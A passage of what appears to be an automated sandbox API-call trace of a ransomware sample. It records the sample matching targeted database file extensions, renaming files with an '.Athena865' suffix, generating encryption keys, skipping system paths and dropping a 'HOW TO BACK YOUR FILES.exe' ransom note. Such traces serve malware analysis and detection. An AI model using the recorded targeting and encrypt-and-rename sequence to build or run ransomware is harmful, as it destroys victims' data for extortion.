(lpString1="op.ini", lpString2="db-wal") returned 1 [0034.165] lstrlenW (lpString="dbc") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0034.165] lstrlenW (lpString="dbs") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0034.165] lstrlenW (lpString="dbt") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0034.165] lstrlenW (lpString="dbv") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0034.165] lstrlenW (lpString="dbx") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0034.165] lstrlenW (lpString="dcb") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0034.165] lstrlenW (lpString="dct") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0034.165] lstrlenW (lpString="dcx") returned 3 [0034.165] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0034.166] lstrlenW (lpString="ddl") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0034.166] lstrlenW (lpString="dlis") returned 4 [0034.166] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0034.166] lstrlenW (lpString="dp1") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0034.166] lstrlenW (lpString="dqy") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0034.166] lstrlenW (lpString="dsk") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0034.166] lstrlenW (lpString="dsn") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0034.166] lstrlenW (lpString="dtsx") returned 4 [0034.166] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0034.166] lstrlenW (lpString="dxl") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0034.166] lstrlenW (lpString="eco") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0034.166] lstrlenW (lpString="ecx") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0034.166] lstrlenW (lpString="edb") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0034.166] lstrlenW (lpString="epim") returned 4 [0034.166] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0034.166] lstrlenW (lpString="fcd") returned 3 [0034.166] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0034.166] lstrlenW (lpString="fdb") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0034.167] lstrlenW (lpString="fic") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0034.167] lstrlenW (lpString="flexolibrary") returned 12 [0034.167] lstrlenW (lpString="fm5") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0034.167] lstrlenW (lpString="fmp") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0034.167] lstrlenW (lpString="fmp12") returned 5 [0034.167] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0034.167] lstrlenW (lpString="fmpsl") returned 5 [0034.167] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0034.167] lstrlenW (lpString="fol") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0034.167] lstrlenW (lpString="fp3") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0034.167] lstrlenW (lpString="fp4") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0034.167] lstrlenW (lpString="fp5") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0034.167] lstrlenW (lpString="fp7") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0034.167] lstrlenW (lpString="fpt") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0034.167] lstrlenW (lpString="frm") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0034.167] lstrlenW (lpString="gdb") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.167] lstrlenW (lpString="gdb") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.167] lstrlenW (lpString="grdb") returned 4 [0034.167] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0034.167] lstrlenW (lpString="gwi") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0034.167] lstrlenW (lpString="hdb") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0034.167] lstrlenW (lpString="his") returned 3 [0034.167] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0034.168] lstrlenW (lpString="ib") returned 2 [0034.168] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0034.168] lstrlenW (lpString="idb") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0034.168] lstrlenW (lpString="ihx") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0034.168] lstrlenW (lpString="itdb") returned 4 [0034.168] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0034.168] lstrlenW (lpString="itw") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0034.168] lstrlenW (lpString="jet") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0034.168] lstrlenW (lpString="jtx") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0034.168] lstrlenW (lpString="kdb") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0034.168] lstrlenW (lpString="kexi") returned 4 [0034.168] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0034.168] lstrlenW (lpString="kexic") returned 5 [0034.168] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0034.168] lstrlenW (lpString="kexis") returned 5 [0034.168] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0034.168] lstrlenW (lpString="lgc") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0034.168] lstrlenW (lpString="lwx") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0034.168] lstrlenW (lpString="maf") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0034.168] lstrlenW (lpString="maq") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0034.168] lstrlenW (lpString="mar") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0034.168] lstrlenW (lpString="marshal") returned 7 [0034.168] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0034.168] lstrlenW (lpString="mas") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0034.168] lstrlenW (lpString="mav") returned 3 [0034.168] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0034.169] lstrlenW (lpString="maw") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0034.169] lstrlenW (lpString="mdbhtml") returned 7 [0034.169] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0034.169] lstrlenW (lpString="mdn") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0034.169] lstrlenW (lpString="mdt") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0034.169] lstrlenW (lpString="mfd") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0034.169] lstrlenW (lpString="mpd") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0034.169] lstrlenW (lpString="mrg") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0034.169] lstrlenW (lpString="mud") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0034.169] lstrlenW (lpString="mwb") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0034.169] lstrlenW (lpString="myd") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0034.169] lstrlenW (lpString="ndf") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0034.169] lstrlenW (lpString="nnt") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0034.169] lstrlenW (lpString="nrmlib") returned 6 [0034.169] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0034.169] lstrlenW (lpString="ns2") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0034.169] lstrlenW (lpString="ns3") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0034.169] lstrlenW (lpString="ns4") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0034.169] lstrlenW (lpString="nsf") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0034.169] lstrlenW (lpString="nv") returned 2 [0034.169] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0034.169] lstrlenW (lpString="nv2") returned 3 [0034.169] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0034.169] lstrlenW (lpString="nwdb") returned 4 [0034.170] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0034.170] lstrlenW (lpString="nyf") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0034.170] lstrlenW (lpString="odb") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.170] lstrlenW (lpString="odb") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.170] lstrlenW (lpString="oqy") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0034.170] lstrlenW (lpString="ora") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0034.170] lstrlenW (lpString="orx") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0034.170] lstrlenW (lpString="owc") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0034.170] lstrlenW (lpString="p96") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0034.170] lstrlenW (lpString="p97") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0034.170] lstrlenW (lpString="pan") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0034.170] lstrlenW (lpString="pdb") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0034.170] lstrlenW (lpString="pdm") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0034.170] lstrlenW (lpString="pnz") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0034.170] lstrlenW (lpString="qry") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0034.170] lstrlenW (lpString="qvd") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0034.170] lstrlenW (lpString="rbf") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0034.170] lstrlenW (lpString="rctd") returned 4 [0034.170] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0034.170] lstrlenW (lpString="rod") returned 3 [0034.170] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0034.170] lstrlenW (lpString="rodx") returned 4 [0034.170] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0034.171] lstrlenW (lpString="rpd") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0034.171] lstrlenW (lpString="rsd") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0034.171] lstrlenW (lpString="sas7bdat") returned 8 [0034.171] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0034.171] lstrlenW (lpString="sbf") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0034.171] lstrlenW (lpString="scx") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0034.171] lstrlenW (lpString="sdb") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0034.171] lstrlenW (lpString="sdc") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0034.171] lstrlenW (lpString="sdf") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0034.171] lstrlenW (lpString="sis") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0034.171] lstrlenW (lpString="spq") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0034.171] lstrlenW (lpString="te") returned 2 [0034.171] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0034.171] lstrlenW (lpString="teacher") returned 7 [0034.171] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0034.171] lstrlenW (lpString="tmd") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0034.171] lstrlenW (lpString="tps") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0034.171] lstrlenW (lpString="trc") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.171] lstrlenW (lpString="trc") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.171] lstrlenW (lpString="trm") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0034.171] lstrlenW (lpString="udb") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0034.171] lstrlenW (lpString="udl") returned 3 [0034.171] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0034.171] lstrlenW (lpString="usr") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0034.172] lstrlenW (lpString="v12") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0034.172] lstrlenW (lpString="vis") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0034.172] lstrlenW (lpString="vpd") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0034.172] lstrlenW (lpString="vvv") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0034.172] lstrlenW (lpString="wdb") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0034.172] lstrlenW (lpString="wmdb") returned 4 [0034.172] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0034.172] lstrlenW (lpString="wrk") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0034.172] lstrlenW (lpString="xdb") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0034.172] lstrlenW (lpString="xld") returned 3 [0034.172] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0034.172] lstrlenW (lpString="xmlff") returned 5 [0034.172] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0034.172] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\desktop.ini.Athena865") returned 47 [0034.172] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\desktop.ini" (normalized: "c:\\documents and settings\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0034.173] CreateFileW (lpFileName="C:\\Documents and Settings\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xf0 [0034.173] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0034.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0034.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x509550 [0034.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.173] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.174] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.174] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.174] CreateFileMappingW (hFile=0xf0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x108 [0034.233] MapViewOfFile (hFileMappingObject=0x108, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0034.233] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.236] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.236] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50bdf8 [0034.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50bdf8 [0034.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0034.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.237] CloseHandle (hObject=0x108) returned 1 [0034.237] CloseHandle (hObject=0xf0) returned 1 [0034.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509550 | out: hHeap=0x4f0000) returned 1 [0034.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0034.239] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2e9220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc2e9220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.239] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.239] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2=".") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="..") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="windows") returned -1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="bootmgr") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="temp") returned -1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="pagefile.sys") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="boot") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="ids.txt") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="ntuser.dat") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="perflogs") returned 1 [0034.239] lstrcmpiW (lpString1="Public", lpString2="MSBuild") returned 1 [0034.239] lstrlenW (lpString="Public") returned 6 [0034.239] lstrcpyW (in: lpString1=0x241e87c, lpString2="Public" | out: lpString1="Public") returned="Public" [0034.239] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public", dwFileAttributes=0x10) returned 1 [0034.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2a8 [0034.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x517168 [0034.239] lstrcatW (in: lpString1="Public", lpString2="\\" | out: lpString1="Public\\") returned="Public\\" [0034.239] lstrcatW (in: lpString1="Public\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Public\\HOW TO BACK YOUR FILES.exe") returned="Public\\HOW TO BACK YOUR FILES.exe" [0034.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.242] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0034.242] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.242] ReleaseMutex (hMutex=0xec) returned 1 [0034.242] CloseHandle (hObject=0xec) returned 1 [0034.243] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache" | out: lpString1="C:\\MSOCache") returned="C:\\MSOCache" [0034.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510af0 | out: hHeap=0x4f0000) returned 1 [0034.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509008 | out: hHeap=0x4f0000) returned 1 [0034.243] lstrlenW (lpString="C:\\MSOCache") returned 11 [0034.243] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6E0650DB463A8C03E1B31C4D7D4CB82F") returned 0xec [0034.243] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.243] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache" | out: lpString1="C:\\MSOCache") returned="C:\\MSOCache" [0034.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.243] CreateFileW (lpFileName="C:\\MSOCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.243] GetLastError () returned 0x0 [0034.243] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.243] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.243] CloseHandle (hObject=0xf4) returned 1 [0034.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.244] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.244] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.244] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.244] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.244] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.244] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.244] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.244] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.244] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="All Users", 